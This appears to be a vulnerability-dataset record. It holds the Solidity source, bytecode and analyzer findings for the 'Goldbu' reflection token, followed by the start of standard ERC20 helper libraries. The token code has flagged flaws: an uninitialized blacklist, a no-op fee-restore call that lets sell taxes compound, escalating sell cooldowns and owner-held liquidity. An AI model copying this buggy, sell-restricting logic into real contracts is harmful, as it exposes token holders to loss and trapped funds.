function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Goldbu is Context, Ownable, IERC20 {
using SafeMath for uint256;
string private constant _name = unicode"Gōldbu";
string private constant _symbol = "GOLDBU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0) return;
_taxFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063c9567bf911610059578063c9567bf91461029a578063d543dbeb146102af578063dd62ed3e146102cf578063e8078d941461031557600080fd5b8063715018a61461020e5780638da5cb5b1461022357806395d89b411461024b578063a9059cbb1461027a57600080fd5b806323b872dd116100c657806323b872dd14610190578063313ce567146101b05780635932ead1146101cc57806370a08231146101ee57600080fd5b806306fdde03146100f8578063095ea7b31461013a57806318160ddd1461016a57600080fd5b366100f357005b600080fd5b34801561010457600080fd5b5060408051808201909152600781526647c58d6c64627560c81b60208201525b60405161013191906118c8565b60405180910390f35b34801561014657600080fd5b5061015a610155366004611820565b61032a565b6040519015158152602001610131565b34801561017657600080fd5b50683635c9adc5dea000005b604051908152602001610131565b34801561019c57600080fd5b5061015a6101ab3660046117e0565b610341565b3480156101bc57600080fd5b5060405160098152602001610131565b3480156101d857600080fd5b506101ec6101e736600461184b565b6103aa565b005b3480156101fa57600080fd5b50610182610209366004611770565b6103fb565b34801561021a57600080fd5b506101ec61041d565b34801561022f57600080fd5b506000546040516001600160a01b039091168152602001610131565b34801561025757600080fd5b50604080518082019091526006815265474f4c44425560d01b6020820152610124565b34801561028657600080fd5b5061015a610295366004611820565b610491565b3480156102a657600080fd5b506101ec61049e565b3480156102bb57600080fd5b506101ec6102ca366004611883565b6104f3565b3480156102db57600080fd5b506101826102ea3660046117a8565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561032157600080fd5b506101ec6105c6565b6000610337338484610933565b5060015b92915050565b600061034e848484610a57565b6103a0843361039b85604051806060016040528060288152602001611a86602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611108565b610933565b5060019392505050565b6000546001600160a01b031633146103dd5760405162461bcd60e51b81526004016103d49061191b565b60405180910390fd5b600e8054911515600160c01b0260ff60c01b19909216919091179055565b6001600160a01b03811660009081526002602052604081205461033b90611142565b6000546001600160a01b031633146104475760405162461bcd60e51b81526004016103d49061191b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610337338484610a57565b6000546001600160a01b031633146104c85760405162461bcd60e51b81526004016103d49061191b565b600e54600160a81b900460ff166104de57600080fd5b600e805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461051d5760405162461bcd60e51b81526004016103d49061191b565b6000811161056d5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103d4565b61058b6064610585683635c9adc5dea00000846111c6565b90611245565b600f8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146105f05760405162461bcd60e51b81526004016103d49061191b565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561062d3082683635c9adc5dea00000610933565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066657600080fd5b505afa15801561067a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069e919061178c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106e657600080fd5b505afa1580156106fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071e919061178c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561076657600080fd5b505af115801561077a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079e919061178c565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306107ce816103fb565b6000806107e36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561084657600080fd5b505af115801561085a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061087f919061189b565b5050600e805463ffff00ff60a81b198116630101000160a81b179091556729a2241af62c0000600f55600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156108f757600080fd5b505af115801561090b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092f9190611867565b5050565b6001600160a01b0383166109955760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d4565b6001600160a01b0382166109f65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610abb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d4565b6001600160a01b038216610b1d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d4565b60008111610b7f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d4565b6000546001600160a01b03848116911614801590610bab57506000546001600160a01b03838116911614155b156110ab57600e54600160c01b900460ff1615610c92576001600160a01b0383163014801590610be457506001600160a01b0382163014155b8015610bfe5750600d546001600160a01b03848116911614155b8015610c185750600d546001600160a01b03838116911614155b15610c9257600d546001600160a01b0316336001600160a01b03161480610c525750600e546001600160a01b0316336001600160a01b0316145b610c925760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103d4565b6001600160a01b03831660009081526008602052604090205460ff16158015610cd457506001600160a01b03821660009081526008602052604090205460ff16155b610cdd57600080fd5b600e546001600160a01b038481169116148015610d085750600d546001600160a01b03838116911614155b8015610d2d57506001600160a01b03821660009081526004602052604090205460ff16155b8015610d425750600e54600160c01b900460ff165b15610dba57600e54600160a01b900460ff16610d5d57600080fd5b600f54811115610d6c57600080fd5b6001600160a01b0382166000908152600960205260409020544211610d9057600080fd5b610d9b42601e6119c0565b6001600160a01b03831660009081526009602052604090205560026007555b6000610dc5306103fb565b600e54909150600160b01b900460ff16158015610df05750600e546001600160a01b03858116911614155b8015610e055750600e54600160b81b900460ff165b156110a957600e54610e339060649061058590600390610e2d906001600160a01b03166103fb565b906111c6565b8211158015610e445750600f548211155b610e4d57600080fd5b6001600160a01b0384166000908152600a60205260409020544211610e7157600080fd5b6001600160a01b0384166000908152600b60205260409020544290610e9990620151806119c0565b1015610eb9576001600160a01b0384166000908152600c60205260408120555b6001600160a01b0384166000908152600c6020526040902054610f46576001600160a01b0384166000908152600c60205260408120805491610efa83611a2e565b90915550506001600160a01b0384166000908152600b602052604090204290819055610f2890610e106119c0565b6001600160a01b0385166000908152600a602052604090205561107e565b6001600160a01b0384166000908152600c602052604090205460011415610f9d576001600160a01b0384166000908152600c60205260408120805491610f8b83611a2e565b90915550610f28905042611c206119c0565b6001600160a01b0384166000908152600c602052604090205460021415610ff4576001600160a01b0384166000908152600c60205260408120805491610fe283611a2e565b90915550610f289050426154606119c0565b6001600160a01b0384166000908152600c60205260409020546003141561107e576001600160a01b0384166000908152600c6020526040812080549161103983611a2e565b90915550506001600160a01b0384166000908152600b602052604090205461106490620151806119c0565b6001600160a01b0385166000908152600a60205260409020555b61108781611287565b6001600160a01b0384166000908152600c60205260409020546110a99061142c565b505b6001600160a01b03831660009081526004602052604090205460019060ff16806110ed57506001600160a01b03831660009081526004602052604090205460ff165b156110f6575060005b61110284848484611440565b50505050565b6000818484111561112c5760405162461bcd60e51b81526004016103d491906118c8565b5060006111398486611a17565b95945050505050565b60006005548211156111a95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103d4565b60006111b3611466565b90506111bf8382611245565b9392505050565b6000826111d55750600061033b565b60006111e183856119f8565b9050826111ee85836119d8565b146111bf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d4565b60006111bf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611489565b600e805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112dd57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611369919061178c565b8160018151811061138a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600d546113b09130911684610933565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113e9908590600090869030904290600401611950565b600060405180830381600087803b15801561140357600080fd5b505af1158015611417573d6000803e3d6000fd5b5050600e805460ff60b01b1916905550505050565b8060075461143a91906119f8565b60075550565b8061144d5761144d6114b7565b6114588484846114c7565b806111025761110260078055565b60008060006114736115b1565b90925090506114828282611245565b9250505090565b600081836114aa5760405162461bcd60e51b81526004016103d491906118c8565b50600061113984866119d8565b6007546114c057565b6000600755565b60008060008060006114d8866115f3565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506115089086611642565b6001600160a01b03808a1660009081526002602052604080822093909355908916815220546115379085611684565b6001600160a01b03881660009081526002602052604090205561155a83826116e3565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161159f91815260200190565b60405180910390a35050505050505050565b6005546000908190683635c9adc5dea000006115cd8282611245565b8210156115ea57505060055492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600061160a88600754611707565b915091506000611618611466565b9050600080600061162a8c8686611734565b919e909d50909b509599509397509395505050505050565b60006111bf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611108565b60008061169183856119c0565b9050838110156111bf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d4565b6005546116f09083611642565b6005556006546117009082611684565b6006555050565b6000808061171a606461058587876111c6565b905060006117288683611642565b96919550909350505050565b600080808061174387866111c6565b9050600061175187876111c6565b9050600061175f8383611642565b929992985090965090945050505050565b600060208284031215611781578081fd5b81356111bf81611a5f565b60006020828403121561179d578081fd5b81516111bf81611a5f565b600080604083850312156117ba578081fd5b82356117c581611a5f565b915060208301356117d581611a5f565b809150509250929050565b6000806000606084860312156117f4578081fd5b83356117ff81611a5f565b9250602084013561180f81611a5f565b929592945050506040919091013590565b60008060408385031215611832578182fd5b823561183d81611a5f565b946020939093013593505050565b60006020828403121561185c578081fd5b81356111bf81611a77565b600060208284031215611878578081fd5b81516111bf81611a77565b600060208284031215611894578081fd5b5035919050565b6000806000606084860312156118af578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118f4578581018301518582016040015282016118d8565b818111156119055783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561199f5784516001600160a01b03168352938301939183019160010161197a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119d3576119d3611a49565b500190565b6000826119f357634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a1257611a12611a49565b500290565b600082821015611a2957611a29611a49565b500390565b6000600019821415611a4257611a42611a49565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611a7457600080fd5b50565b8015158114611a7457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f975a18072545d87f8fba5021d470e6dbf0269629f00d96f7ea86ee789b91ed64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,088 |
0x336aff7e90f5784d2f93d0dfb88d20cdf3d94fd7
|
/**
*Submitted for verification at Etherscan.io on 2021-11-13
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
